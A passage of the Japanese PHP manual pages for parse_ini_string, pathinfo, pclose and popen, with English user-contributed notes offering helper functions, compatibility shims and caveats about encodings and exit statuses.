I got around this by "base64_encode()"-ing my content on the way in to the ini file, and "base64_decode()"-ing on the way out.

Because base64 uses the "=" sign, you will have to encapsulate the entire value in double quotes so the line looks like this:

    varname = "TmlhZ2FyYSBGYWxscywgT04="

When base64'd, your strings will retain all \n, \t...etc...  URL's retain everything perfectly :-)

I hope some of you find this useful!

Cheers, Kieran


設定文字列をパースする

  • ≪ parse_ini_file
  • pathinfo ≫
  • PHP Manual
  • ファイルシステム 関数
  • 設定文字列をパースする

parse_ini_string

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

parse_ini_string — 設定文字列をパースする

説明

parse_ini_string ( string $ini_string , bool $process_sections = false , int $scanner_mode = INI_SCANNER_NORMAL ) : array|false

parse_ini_string() は、文字列 ini_string の設定を連想配列で返します。

文字列の構造は、php.ini の構造と同じです。

パラメータ

ini_string

パースしたい ini ファイルの内容。

process_sections

process_sections を true に設定すると、セクション名と設定を含む多次元配列を返します。 process_sections のデフォルトは false です。

scanner_mode

INI_SCANNER_NORMAL (デフォルト) あるいは INI_SCANNER_RAW。INI_SCANNER_RAW を指定すると、オプションの値はパースされません。

PHP 5.6.1 以降では INI_SCANNER_TYPED も指定できるようになりました。 このモードでは、boolean や null そして integer の型を、可能な限り維持します。 文字列 "true"、"on" そして "yes" は true に変換されます。"false"、"off"、"no" そして "none" は false だとみなされます。このモードでは、"null" は null に変換されます。また数値形式の文字列も、可能な限り integer 型に変換されます。

返り値

成功した場合に設定を連想配列形式で返します。 失敗した場合に false を返します。

注意

注意: ini ファイル上でキーとして使ってはいけない単語があります。 null, yes, no, true, false, on, off, none などです。 null, off, no および false は "" となり、 on, yes および true は "1" となります。 ただし INI_SCANNER_TYPED モードを使っている場合は別です。 次の文字 ?{}|&~![()^" は、キーで使ってはいけません。 また、値の中で特別な意味を持ちます。

参考

  • parse_ini_file() - 設定ファイルをパースする

User Contributed Notes

msegit post pl 27-Jun-2018 07:43
With function parse_ini_stringM() below you can:
- fix unvalued fields ('key' (invalid) ==> 'key=' (OK) )
- fix unquotted values with equal sign '=' ('key=value_part1=value_part2' ==> 'key="value_part1=value_part2"')
- fix (solve) multidimensional arrays (makes 'key[key1][key2]=value' valid)

function parse_ini_stringM() on github https://gist.github.com/msegu/c43a871c5a874a1d9bff978b448a0aa4 (here is too long)

// Example:

$ini = '[a]
b
c=d
e=';

var_export(parse_ini_string($ini, TRUE)); /* array (
  'a' =>
  array (
    'c' => 'd',
    'e' => '',
  ),
)
*/

$ini .= '
f[g][2]=h
f[g][i]=j
f[g][][]=k
m=n=o';

var_export(parse_ini_string($ini, TRUE)); // false

var_export(parse_ini_stringM($ini, TRUE)); /* array (
  'a' =>
  array (
    'b' => '',
    'c' => 'd',
    'e' => '',
    'f' =>
    array (
      'g' =>
      array (
        2 => 'h',
        'i' => 'j',
        3 =>
        array (
          0 => 'k',
        ),
      ),
    ),
    'm' => 'n=o',
  ),
)
*/
Peter Baylies 31-Oct-2013 07:34
Replacement for php_ini_string() for PHP pre 5.3 - uses php_ini_file() and streams

<?php
if ( !function_exists( 'parse_ini_string' ) ) {
    function parse_ini_string( $string, $process_sections ) {
        if ( !class_exists( 'parse_ini_filter' ) ) {
            /* Define our filter class */
            class parse_ini_filter extends php_user_filter {
                static $buf = '';
                function filter( $in, $out, &$consumed, $closing ) {
                    $bucket = stream_bucket_new( fopen('php://memory', 'wb'), self::$buf );
                    stream_bucket_append( $out, $bucket );
                    return PSFS_PASS_ON;
                }
            }
            /* Register our filter with PHP */
            stream_filter_register("parse_ini", "parse_ini_filter")
            or return false;
        }
        parse_ini_filter::$buf = $string;
        return parse_ini_file( "php://filter/read=parse_ini/resource=php://memory", $process_sections );
    }
}
?>
epicmaxim at gmail dot com 04-Apr-2013 07:51
parse_ini_string_m is analog for a parse_ini_string function.

had to code this function due to the lack of a php 5.3 on some hosting.

parse_ini_string_m:
- ignores commented lines that start with ";" or "#"
- ignores broken lines that do not have "="
- supports array values and array value keys

<?php
function parse_ini_string_m($str) {

    if(empty($str)) return false;

    $lines = explode("\n", $str);
    $ret = Array();
    $inside_section = false;

    foreach($lines as $line) {

        $line = trim($line);

        if(!$line || $line[0] == "#" || $line[0] == ";") continue;

        if($line[0] == "[" &amp;&amp; $endIdx = strpos($line, "]")){
            $inside_section = substr($line, 1, $endIdx-1);
            continue;
        }

        if(!strpos($line, '=')) continue;

        $tmp = explode("=", $line, 2);

        if($inside_section) {

            $key = rtrim($tmp[0]);
            $value = ltrim($tmp[1]);

            if(preg_match("/^\".*\"$/", $value) || preg_match("/^'.*'$/", $value)) {
                $value = mb_substr($value, 1, mb_strlen($value) - 2);
            }

            $t = preg_match("^\[(.*?)\]^", $key, $matches);
            if(!empty($matches) &amp;&amp; isset($matches[0])) {

                $arr_name = preg_replace('#\[(.*?)\]#is', '', $key);

                if(!isset($ret[$inside_section][$arr_name]) || !is_array($ret[$inside_section][$arr_name])) {
                    $ret[$inside_section][$arr_name] = array();
                }

                if(isset($matches[1]) &amp;&amp; !empty($matches[1])) {
                    $ret[$inside_section][$arr_name][$matches[1]] = $value;
                } else {
                    $ret[$inside_section][$arr_name][] = $value;
                }

            } else {
                $ret[$inside_section][trim($tmp[0])] = $value;
            }

        } else {

            $ret[trim($tmp[0])] = ltrim($tmp[1]);

        }
    }
    return $ret;
}
?>

example usage:

<?php
$ini = '

    [simple]
    val_one = "some value"
    val_two = 567

    [array]
    val_arr[] = "arr_elem_one"
    val_arr[] = "arr_elem_two"
    val_arr[] = "arr_elem_three"

    [array_keys]
    val_arr_two[6] = "key_6"
    val_arr_two[some_key] = "some_key_value"

';

$arr = parse_ini_string_m($ini);
?>

variable $arr output:

Array
(
    [simple] => Array
    (
        [val_one] => some value
        [val_two] => 567
    )

    [array] => Array
    (
        [val_arr] => Array
        (
            [0] => arr_elem_one
            [1] => arr_elem_two
            [2] => arr_elem_three
        )
    )

    [array_keys] => Array
    (
        [val_arr_two] => Array
        (
            [6] => key_6
            [some_key] => some_key_value
        )

    )

)


ファイルパスに関する情報を返す

  • ≪ parse_ini_string
  • pclose ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルパスに関する情報を返す

pathinfo

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

pathinfo — ファイルパスに関する情報を返す

説明

pathinfo ( string $path , int $flags = PATHINFO_ALL ) : array|string

pathinfo() は、path に関する情報を返します。flags によって連想配列あるいは文字列のどちらかとなります。

注意:

カレントのパスに関する情報を取得するには、 定義済みの変数 のセクションをご覧ください。

警告

pathinfo() はロケールを考慮して処理を行います。 マルチバイト文字を含むパスを正しく処理するには、正しいロケールを setlocale() 関数で設定しておかなければなりません。

パラメータ

path

調べたいパス。

flags

指定する場合は、どの要素を返すのかを PATHINFO_DIRNAME、 PATHINFO_BASENAME、 PATHINFO_EXTENSION あるいは PATHINFO_FILENAME のいずれかで指定します。

flags を省略した場合はすべての要素を返します。

返り値

flags パラメータを渡さなかった場合は、次の要素を含む連想配列を返します。 dirname、basename、 extension (存在すれば)、そして filename。

注意:

path に複数の拡張子が含まれる場合は、 PATHINFO_EXTENSION は最後の拡張子だけを返します。また、 PATHINFO_FILENAME は最後の拡張子だけを取り除きます (最初のサンプルを参照ください)。

注意:

path に拡張子がない場合は、 extension 要素は返されません (以下の二番目の例を参照ください)。

注意:

path の basename がドットで始まる場合は、それに続く文字は extension とみなされます。そして filename は空文字列となります (以下の三番目の例を参照ください)。

flags を指定すると、 要求した要素を文字列で返します。

例

例1 pathinfo() の例

<?php
$path_parts = pathinfo('/www/htdocs/inc/lib.inc.php');

echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
echo $path_parts['filename'], "\n"; // PHP 5.2.0 以降
?>

上の例の出力は以下となります。

/www/htdocs/inc
lib.inc.php
php
lib.inc

例2 pathinfo() での、拡張子を空にしたときと拡張子がないときの違いの例

<?php
$path_parts = pathinfo('/path/emptyextension.');
var_dump($path_parts['extension']);

$path_parts = pathinfo('/path/noextension');
var_dump($path_parts['extension']);
?>

上の例の出力は、 たとえば以下のようになります。

string(0) ""

Notice: Undefined index: extension in test.php on line 6
NULL

例3 pathinfo() での、ドットファイルの例

<?php
print_r(pathinfo('/some/path/.test'));
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [dirname] => /some/path
    [basename] => .test
    [extension] => test
    [filename] =>
)

参考

  • dirname() - 親ディレクトリのパスを返す
  • basename() - パスの最後にある名前の部分を返す
  • parse_url() - URL を解釈し、その構成要素を返す
  • realpath() - 正規化された絶対パス名を返す

User Contributed Notes

Ozan Kurt 15-Jan-2020 10:15
extract(pathinfo("storage/example.pdf"));

echo $dirname; // "storage/"
echo $basename; // "example.pdf"
echo $extension; // "pdf"
echo $filename; // "example"
610010559 at qq dot com 15-Nov-2019 04:25
about the path, there are one thing you should note :
On Windows, both slash (/) and backslash (\) are used as directory separator character. In other environments, it is the forward slash (/).  (this explain is from basename() function part https://www.php.net/manual/en/function.basename.php)
example:
<?php
$path = "http://www.test.com/a\b\c\filename.pdf";

echo pathinfo($pdfUrl, PATHINFO_BASENAME);  //get basename
//output
//on window:  result is filename.pdf
//on Linux: result is a\b\c\filename.pdf (that is may not your expect)

//so in order to get same result in different system.  i will do below first.
$path = str_replace($path, '\\', '/'); //convert '\'  to '/'
?>
dev_zakaria at outlook dot com 15-Apr-2019 04:11
<?php

// suppose we are using a path like = www/myfiles/script.js

const FILE = "www/myfiles/script.js";

// print file name
echo pathinfo(FILE,PATHINFO_FILENAME)."\n";

// print file extension
echo pathinfo(FILE,PATHINFO_EXTENSION)."\n";

// print file Full name
echo pathinfo(FILE,PATHINFO_BASENAME)."\n";

// print file directory name
echo pathinfo(FILE,PATHINFO_DIRNAME)."\n";
guy dot paddock at gmail dot com 20-Dec-2018 03:08
Here is an enhanced version of pathinfo() that interprets multi-part extensions like tar.gz as one file extension:

<?php
function pathinfo_enhanced($file_path) {
  $core_path_info = pathinfo($file_path);
  $filename = $core_path_info['filename'];

  if (isset($core_path_info['extension'])) {
    $extension = $core_path_info['extension'];
  } else {
    $extension = '';
  }

  $extension_parts = array();

  while (!empty($extension)) {
    array_unshift($extension_parts, $extension);

    $remaining_path_info = pathinfo($filename);
    $filename = $remaining_path_info['filename'];

    if (isset($remaining_path_info['extension'])) {
      $extension = $remaining_path_info['extension'];
    } else {
      $extension = '';
    }
  }

  $revised_path_info = array(
    'filename'  => $filename,
    'extension' => implode('.', $extension_parts),
  );

  return array_merge($core_path_info, $revised_path_info);
}

// === EXAMPLES ===

// Directory; two extensions
$path = '/www/htdocs/inc/file.tar.gz';
$info = pathinfo_enhanced($path);

echo "$path\n";
print_r($info);
echo "\n";

// Directory; one extension
$path = '/www/htdocs/inc/file.tgz';
$info = pathinfo_enhanced($path);

echo "$path\n";
print_r($info);
echo "\n";

// Directory; no extension
$path = '/www/htdocs/inc/lib';
$info = pathinfo_enhanced($path);

echo "$path\n";
print_r($info);
echo "\n";

// No directory; one extension
$path = 'test.php';
$info = pathinfo_enhanced($path);

echo "$path\n";
print_r($info);
echo "\n";

// No directory; dot file
$path = '.example';
$info = pathinfo_enhanced($path);

echo "$path\n";
print_r($info);
echo "\n";

// Directory only
$path = '/www/htdocs/inc/';
$info = pathinfo_enhanced($path);

echo "$path\n";
print_r($info);
echo "\n";
Lori 21-Sep-2018 01:40
Simple example of pathinfo and array destructuring in PHP 7:
<?php
[ 'basename' => $basename, 'dirname' => $dirname ] = pathinfo('/www/htdocs/inc/lib.inc.php');

var_dump($basename, $dirname);

// result:
// string(11) "lib.inc.php"
// string(15) "/www/htdocs/inc"
?>
daniel_rhodes at yahoo dot co dot uk 23-Dec-2016 11:38
Note that pathinfo($somePath, PATHINFO_EXTENSION) will return '' (empty string) for both of these paths:

- some_random_file
- another_strange_file_ending_in_dot.

That's good, but then note that pathinfo($somePath, PATHINFO_FILENAME) won't end in the dot for 'another_strange_file_ending_in_dot.' - you'll need pathinfo($somePath, PATHINFO_BASENAME) to get the original filename ending in a dot.

Hope this helps!
smartdog at tut.by 08-Dec-2016 11:02
Lightweight way to get extension for *nix systems
<?php
function get_extension($path)
{
    $c = preg_match('#[^\/]+\.([^\.]*)$#uis', $path, $tmp);
    return $c ? $tmp[1] : null;
}
?>
this will return NULL for dotfiles (hidden files)

Testing:
<?php
$test = array(
    '/normal_dir/normal.foo',
    '/double_ext.foo.bar',
    '/.hidden/empty_ext.',
    '/.hidden_dir/.hidden_file',
    '/foo.bar/no_ext'
);
foreach($test as $path) {
    var_dump(parse_extension($path));
}
?>

results:
string(3) "foo"
string(3) "bar"
string(0) ""
NULL
NULL

if you want to get all extensions (substring of file name after first dot) use another expression:
<?php
$c = preg_match('#[^\.|\/]+\.([^\/]*)$#uis', $path, $tmp);
?>
498936940 at qq dot com 15-Jun-2016 03:02
Note:

pathinfo() is locale aware, so for it to parse a path containing multibyte characters correctly, the matching locale must be set using the setlocale() function.

Reality:
var_dump(pathinfo('中国人2016.xls'));
exit();
array(4) { 'dirname' => string(1) "." 'basename' => string(8) "2016.xls" 'extension' => string(3) "xls" 'filename' => string(4) "2016" }

Expect(Solve):
setlocale(LC_ALL, 'zh_CN.UTF-8');
var_dump(pathinfo('中国人2016.xls'));
exit();
array(4) { 'dirname' => string(1) "." 'basename' => string(17) "中国人2016.xls" 'extension' => string(3) "xls" 'filename' => string(13) "中国人2016" }
wxb0328 at hotmail dot com 19-May-2015 02:08
<?php

// your code goes here
echo phpversion();

print_r(pathinfo("/resources/img/stock/wxb001/美景.png"));

?出：
5.6.4-2
Array
(
    [dirname] => /resources/img/stock/wxb001
    [basename] => 美景.png
    [extension] => png
    [filename] => 美景
)
但是在php5.3.3版本中
<?php

// your code goes here
echo phpversion();

print_r(pathinfo("/resources/img/stock/wxb001/美景.png"));
?出：
5.3.3
Array
(
    [dirname] => /var/www/www.shima.jp.net/resources/img/stock/wxb001
    [basename] => .png
    [extension] => png
    [filename] =>
)
bart at mediawave dot nl 23-Feb-2015 12:55
PHP equivalent for custom implementations. Will be nearly as fast or faster (with long paths):

<?php
$trimPath = rtrim($path, '/');

$slashPos = strrpos($trimPath, '/');
if ($slashPos !== false) {
    $dirName = substr($trimPath, 0, $slashPos) ?: '/';
    $baseName = substr($trimPath, $slashPos + 1);
} else {
    $dirName = '.';
    $baseName = $trimPath;
}

$dotPos = strrpos($baseName, '.');
if ($dotPos !== false) {
    $fileName = substr($baseName, 0, $dotPos);
    $extension = substr($baseName, $dotPos + 1);
} else {
    $extension = '';
    $fileName = $baseName;
}
?>
ivan dot dossev at gmail dot com 21-Feb-2015 12:06
Note: dirname will be "." (meaning current directory) if the path is just a file name. (PHP 5.4.34)
<?php
var_dump( pathinfo('file.ext', PATHINFO_DIRNAME) ); // string(1) "."
?>
cmartinezme at hotmail dot com 27-Jan-2015 12:46
Checked with version 5.5.12:

It works fine with filenames with utf-8 characters, pathinfo will strip them away:

<?php
print_r(pathinfo("/mnt/files/飛兒樂團光茫.mp3"));
?>

.. will display:

Array
(
    [dirname] => /mnt/files
    [basename] => 飛兒樂團光茫.mp3
    [extension] => mp3
    [filename] => 飛兒樂團光茫
)
Jordan Doyle 04-May-2013 07:47
It's worth nothing that pathinfo returns foo/index.php for the directory when dealing with URLs like foo/index.php/bar
krkbpk at gmail dot com RamaKrishna Kothamasu 12-Feb-2013 03:44
//pathinfo function example
<?php
//passing single argument
echo "<pre>";
print_r(pathinfo("/home/ramki/ramki.pdf"));
echo "</pre>";
//passing two agruments
$path=array(PATHINFO_DIRNAME,PATHINFO_BASENAME,PATHINFO_EXTENSION,PATHINFO_FILENAME);
foreach ($path as $value)
echo "<pre>".pathinfo("/home/ramki/ramki.pdf",$value)."</pre>";
?>
//output
/*
Array
(
    [dirname] => /home/ramki
    [basename] => ramki.pdf
    [extension] => pdf
    [filename] => ramki
)
/home/ramki
ramki.pdf
pdf
ramki
*/
Pietro Baricco 10-Feb-2012 04:00
Use this function in place of pathinfo to make it work with UTF-8 encoded file names too

<?php
function mb_pathinfo($filepath) {
    preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im',$filepath,$m);
    if($m[1]) $ret['dirname']=$m[1];
    if($m[2]) $ret['basename']=$m[2];
    if($m[5]) $ret['extension']=$m[5];
    if($m[3]) $ret['filename']=$m[3];
    return $ret;
}
?>
admin at torntech dot com 27-Jun-2011 09:39
pathinfo will return null if 0 or null is specified for the option argument.
So you'll need to define it's value manually if the option field is omitted, to provide the default functionality.

<?php

    public function getFileInfo($source = null, $option = null){
        if(!$option){
            //1 + 2 + 4
            $option = PATHINFO_DIRNAME + PATHINFO_BASENAME + PATHINFO_EXTENSION;
            if(defined('PATHINFO_FILENAME'))
                $option += PATHINFO_FILENAME; //8
        }
        return pathinfo($source, $option);
    }

    $obj->getFileInfo("/test/file/someFile.txt");
?>
kc8yds at gmail dot com 18-Sep-2009 02:43
any type of url parse_url can handle this will get the extension of

pathinfo(parse_url('URL GOES HERE',PHP_URL_PATH),PATHINFO_EXTENSION)
jjoss at mail dot ru 04-Feb-2009 10:15
pathinfo() which can be used with UTF filenames.

<?php
  function pathinfo_utf($path)
  {
    if (strpos($path, '/') !== false) $basename = end(explode('/', $path));
    elseif (strpos($path, '\\') !== false) $basename = end(explode('\\', $path));
    else return false;
    if (empty($basename)) return false;

    $dirname = substr($path, 0, strlen($path) - strlen($basename) - 1);

    if (strpos($basename, '.') !== false)
    {
      $extension = end(explode('.', $path));
      $filename = substr($basename, 0, strlen($basename) - strlen($extension) - 1);
    }
    else
    {
      $extension = '';
      $filename = $basename;
    }

    return array
    (
      'dirname' => $dirname,
      'basename' => $basename,
      'extension' => $extension,
      'filename' => $filename
    );
  }
?>
aalaap at gmail dot com 02-Feb-2009 07:58
Here is a simple function that gets the extension of a file. Simply using PATHINFO_EXTENSION will yield incorrect results if the path contains a query string with dots in the parameter names (for eg. &x.1=2&y.1=5), so this function eliminates the query string first and subsequently runs PATHINFO_EXTENSION on the clean path/url.

<?php
function extension($path) {
  $qpos = strpos($path, "?");

  if ($qpos!==false) $path = substr($path, 0, $qpos);

  $extension = pathinfo($path, PATHINFO_EXTENSION);

  return $extension;
}
?>
php [spat] hm2k.org 13-Jan-2009 04:27
A little compat for < 5.2

<?php

function pathinfo_filename($file) { //file.name.ext, returns file.name
    if (defined('PATHINFO_FILENAME')) return pathinfo($file,PATHINFO_FILENAME);
    if (strstr($file, '.')) return substr($file,0,strrpos($file,'.'));
}

?>
php-manual at spunts dot net 24-Dec-2008 09:19
For a good example of how platform independent this function is have a look at the different return values that Lostindream and I experienced. Mine is above and Lostindream's is below:

Array
(
    [dirname] => /www/psychicblast/images/1
    [basename] => my three girlfriends.jpg
    [extension] => jpg
)

Array
(
    [dirname] => /www/htdocs
    [basename] => index.html
    [extension] => html
    [filename] => index
)
z
benjaminhill at gmail dot com 02-Dec-2008 09:18
A warning: this function varies depending on the platform it is being run on.  For example, pathinfo('C:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe') will return a different result when run through a winOS PHP platform (local development) vs. a server's UNIX-based OS.  A bit like the Locale settings, but unexpected.
Lostindream at atlas dot cz 19-Aug-2008 01:43
at example from "qutechie at gmail dot com" you can only replace function 'strpos' with 'strrpos'. (strrpos — Find position of last occurrence of a char in a string)

It's simple. For example:
<?php

function filePath($filePath)
{
 $fileParts = pathinfo($filePath);

 if(!isset($fileParts['filename']))
 {$fileParts['filename'] = substr($fileParts['basename'], 0, strrpos($fileParts['basename'], '.'));}

 return $fileParts;
}

$filePath = filePath('/www/htdocs/index.html');
print_r($filePath);
?>

Output will be:
Array
(
    [dirname] => /www/htdocs
    [basename] => index.html
    [extension] => html
    [filename] => index
)
leons87_AT_hotmail_DOT_com 15-Aug-2008 04:47
qutechie at gmail dot com wrote a fix for support for filename in PHP 4; however it gets it wrong whenever you have a filename with a . in it (so foo.bar.jpg would return foo instead of foo.bar).

A fix would be:
<?php
if(!isset($path_parts['filename'])){
    $reversed_filename = strrev( $path_parts['basename'] );
    $path_parts['filename'] = strrev( substr( $reversed_filename, strpos( $reversed_filename, '.' ) + 1 ) );
}
?>

The idea is that you reverse the string and create a substring that starts after the first '.' and then reverse the result.
qutechie at gmail dot com 21-Jul-2008 06:29
Quick fix for lack of support for 'filename' in php4

<?php
$path_parts = pathinfo('/www/htdocs/index.html');

echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
echo $path_parts['filename'], "\n"; // since PHP 5.2.0

// if php4
              if(!isset($path_parts['filename'])){
                $path_parts['filename'] = substr($path_parts['basename'], 0,strpos($path_parts['basename'],'.'));
              }

?>
christian dot reinecke at web dot de 24-Feb-2008 07:46
if you call pathinfo with a filename in url-style (example.php?with=parameter), make sure you remove the given parameters before, otherwise they will be returned as part of the extension.

extension => php?with=parameter
tom at foo-bar dot co dot uk 30-Jan-2008 06:48
Note that this function seems to just perform string operations, and will work even on a non-existent path, e.g.

<?php
print_r(pathinfo('/no/where/file.txt'));
?>

which will output:
Array
(
    [dirname] => /no/where
    [basename] => file.txt
    [extension] => txt
    [filename] => file
)
davidblinco at gmail dot com 26-Jan-2008 07:27
This function is not perfect, but you can use it to convert a relative path to a URL.
Please email me if you can make any improvements.

<?php
function mapURL($relPath) {
    $filePathName = realpath($relPath);
    $filePath = realpath(dirname($relPath));
    $basePath = realpath($_SERVER['DOCUMENT_ROOT']);

    // can not create URL for directory lower than DOCUMENT_ROOT
    if (strlen($basePath) > strlen($filePath)) {
        return '';
    }

    return 'http://' . $_SERVER['HTTP_HOST'] . substr($filePathName, strlen($basePath));
}
?>
henrik at not-an-address dot com 21-Dec-2007 10:23
If you have filename with utf-8 characters, pathinfo will strip them away:

print_r(pathinfo("/mnt/files/飛兒樂團光茫.mp3"));

 .. will display:

Array
(
    [dirname] => /mnt/files
    [basename] => .mp3
    [extension] => mp3
    [filename] =>
)
mrnemesis at ntlworld dot com 19-Dec-2007 07:22
Note that in PHP 4 (if you're stuck using it), pathinfo only provides dirname, basename, and extension, but not filename. This function will not split a file's stem and extension for you.
cochise_chiracahua at hotmail.com 25-Nov-2005 11:55
Sometimes, it's interessant to get the basename without extension.
So, I appended a new entry 'basenameWE' (Basename Without Extension) to the returned array.

<?php

// pathinfo improved
function pathinfo_im($path) {

    $tab = pathinfo($path);

    $tab["basenameWE"] = substr($tab["basename"],0
    ,strlen($tab["basename"]) - (strlen($tab["extension"]) + 1) );

    return $tab;
}

$my_path = "/var/www/html/example.html";

echo "<pre>\n";
print_r( pathinfo_im($my_path) );
echo "</pre>\n";

?>

Out :

Array
(
    [dirname] => /var/www/html
    [basename] => example.html
    [extension] => html
    [basenameWE] => example
)
n0dalus 08-Feb-2005 01:47
If a file has more than one 'file extension' (seperated by periods), the last one will be returned.
For example:
<?php
$pathinfo = pathinfo('/dir/test.tar.gz');
echo 'Extension: '.$pathinfo['extension'];
?>
will produce:
Extension: gz

and not tar.gz
03-Dec-2004 04:39
If you want only the file extension, use this:
<?php
$extension = substr(strrchr($filename, "."), 1);
?>
This is many times faster than using pathinfo() and getting the value from array.
rob at webdimension dot co dot uk 04-Oct-2004 06:48
Further to my previous post.

This affects servers that run PHP as a cgi module

If you have your own server:
You can use the AcceptPathInfo directive to force the core handler to accept requests with PATH_INFO and thereby restore the ability to use PATH_INFO in server-side includes.

Further information:
http://httpd.apache.org/docs-2.0/mod/core.html#acceptpathinfo
m-symons at home dot com 24-Aug-2001 06:54
Here's a neat wee function to grab the relative path to root (especially useful if you're using mock-directories to pass variables into scripts with mod_rewrite).  The function simply iterates through every occurence of "/" within the REQUEST_URI environment variable, appending "../" to the output for every instance:

<?php

function path_to_root($path) {

    $pathinfo = pathinfo($path);

    $deep = substr_count($pathinfo[dirname], "/");

    $path_to_root = "./";

    for($i = 1; $i <= $deep; $i++) {

        $path_to_root .= "../";

    }

    return $path_to_root;
}

path_to_root($REQUEST_URI);

?>


プロセスのファイルポインタをクローズする

  • ≪ pathinfo
  • popen ≫
  • PHP Manual
  • ファイルシステム 関数
  • プロセスのファイルポインタをクローズする

pclose

(PHP 4, PHP 5, PHP 7, PHP 8)

pclose — プロセスのファイルポインタをクローズする

説明

pclose ( resource $handle ) : int

popen() でオープンしたパイプへの ファイルポインタをクローズします。

パラメータ

handle

ファイルポインタは有効なものでなければならず、また popen() で正常にオープンされたものである必要があります。

返り値

実行していたプロセスの終了ステータスを返します。 エラーが発生した場合は -1 を返します。

注意:

PHP のコンパイル時に --enable-sigchild を指定した場合は、この関数の返り値は未定義となります。

例

例1 pclose() の例

<?php
$handle = popen('/bin/ls', 'r');
pclose($handle);
?>

注意

注意: Unix のみ

pclose() の内部的な実装は、
waitpid(3) システムコールを使っています。
実際の終了ステータスを知るには、pcntl_wexitstatus()
関数を使わなければなりません。

参考

  • popen() - プロセスへのファイルポインタをオープンする

User Contributed Notes

Uwe Ohse 03-Sep-2015 11:17
Regarding the return value:
"Returns the termination status of the process that was run. In case of an error then -1 is returned. "
and the note about the exit status: "pclose() is internally implemented using the waitpid(3) system call. To obtain the real exit status code the pcntl_wexitstatus() function should be used."

The documentation of the return value is, at best, misleading. The function returns, as does proc_close():
* -1 on error,
* WEXITSTATUS(status) if WIFEXITED(status) is true, or
* status if WIFEXITED(status) is false,
where status is the status parameter of waitpid().

This makes it impossible to differentiate between a relatively normal exit or a termination by signal, and reduces the value of the proc_close return code to a binary one (ok / something broke).

This can be seen in proc_open_rsrc_dtor() in ext/standard/proc_open.c (PHP 5.4.44, 5.6.12).

The note advising the use of pcntl_wexitstatus is plain wrong. One cannot use pcntl_wexitstatus because it already has been used.
Mike 06-Apr-2008 11:55
The termination status, as pointed out in another note, is not the same as the exit status from the process. However, something like "pclose($fp)/256" is not the correct way to extract the exit status, since this uses system- and version-specific knowledge of where in the termination status the exit status is stored. (Also, the process may not even have exited normally, so it may not have an exit status at all.)

Instead, the functions pcntl_wifexited() and pcntl_wexitstatus() should be used. They are wrappers for the C macros WIFEXITED() and WEXITSTATUS() that are designed for determining whether the process had an exit status and what that status was, respectively.
kcross at nssolutions dot com 16-Jul-2003 02:08
Somewhere between 4.1.1 and 4.2.3, the return value from pclose changed.

The exit status used to be in the second byte, so that the status would be (pclose($fp)/256).

It is now in the low-order byte, so the status is just pclose($fp).

Be careful.
vdweij at mailsurf dot com 12-Mar-2003 07:18
As I understand pclose will return 0 (on every platform) in case popen could not execute the specified command.

Since popen only returns the status wether it was able to send a command and not wether it was succesfully executed. Only the returned value of pclose can be used to check wether a command could be executed.


プロセスへのファイルポインタをオープンする

  • ≪ pclose
  • readfile ≫
  • PHP Manual
  • ファイルシステム 関数
  • プロセスへのファイルポインタをオープンする

popen

(PHP 4, PHP 5, PHP 7, PHP 8)

popen — プロセスへのファイルポインタをオープンする

説明

popen ( string $command , string $mode ) : resource|false

command で指定したコマンドのフォークによってできたプロセスへのパイプをオープンします。

パラメータ

command

コマンド。

mode

モード。読み取りを行う場合は 'r' を。 書き込みを行う場合は 'w' を指定します。

Windows では、popen() はデフォルトでテキストモードになります。 つまり、パイプから \n 文字を読み込んだり、書き込んだりすると、 \r\n に変換されるということです。 この振る舞いを望まない場合は、 mode にバイナリモードを指定し、強制することが出来ます。 読み取りのバイナリモードは 'rb' を。 書き込みのバイナリモードは'wb' をそれぞれ指定します。

返り値

fopen() により返されたファイルポインタと同様のものを返しますが、 それは(読み書きのいずれか一方でのみ使われる)片方向ストリームであり、 pclose() によりクローズされなければならないところが異なります。 このポインタは、fgets()、fgetss() および fwrite() のいずれかで使うことができます。 モードが 'r' のときは、返されるファイルポインタは そのコマンドの STDOUT と等しくなります。また、モードが 'w' のときは、返されるファイルポインタは そのコマンドの STDIN と等しくなります。

エラーが発生した場合は false を返します。

例

例1 popen() の例

<?php
$handle = popen("/bin/ls", "r");
?>

実行すべきコマンドが見つからない場合には、正常なリソースが返されます。 おかしなことと思われるかもしれませんが、これには意味があります。 これによってシェルから返されたエラーメッセージにアクセスすることができるのです。

例2 popen() の例

<?php
error_reporting(E_ALL);

/* リダイレクトにより、標準エラー出力を取得します */
$handle = popen('/path/to/executable 2>&1', 'r');
echo "'$handle'; " . gettype($handle) . "\n";
$read = fread($handle, 2096);
echo $read;
pclose($handle);
?>

注意

注意:

双方向(two-way)のサポートを求めているのなら、 proc_open() を使用してください。

参考

  • pclose() - プロセスのファイルポインタをクローズする
  • fopen() - ファイルまたは URL をオープンする
  • proc_open() - コマンドを実行し、入出力用にファイルポインタを開く

User Contributed Notes

erco at seriss dot com 01-Oct-2018 10:21
Another workaround for using popen() with "w" mode so that the stdout of the command reaches the browser:

An easy solution is to have two php scripts; "real.php" with the popen($cmd, "w") command in it, the other being "wrapper.php", a one liner that simply invokes system("php real.php");

Invoking "wrapper.php" from the browser allows the popen($cmd,"w") in "real.php" to work as expected, such that stdout of $cmd reaches the browser. If you try to skip the wrapper and just run "real.php", stdout of $cmd is lost to /dev/null.
jlh 10-Aug-2016 07:20
Don't expect this function to return false when the executable doesn't exist in the first place. A stream will be opened anyway but nothing can be read from it. An error similar to "sh: 1: asdfasdfasdf: not found" will be printed to STDERR.

Solution 1: Look at the return value of pclose(), it will be the exit status of the shell that runs the command. On Linux it will be 127 if the executable wasn't found. Otherwise it's the exit status of the executable itself.

Solution 2: Use proc_open() instead, which allows to also capture STDERR and then parse it for errors.

You probably should do both.
anonymous at anon dot com 25-Mar-2015 10:28
As a side note to the code provided by anonymous at anon dot com:

  $cmd = "php longscript.php";

  function execInBackground($cmd) {
    if (substr(php_uname(), 0, 7) == "Windows"){
        pclose(popen("start /B ". $cmd, "r"));
    } else {
        exec($cmd . " > /dev/null &");
    }
  }

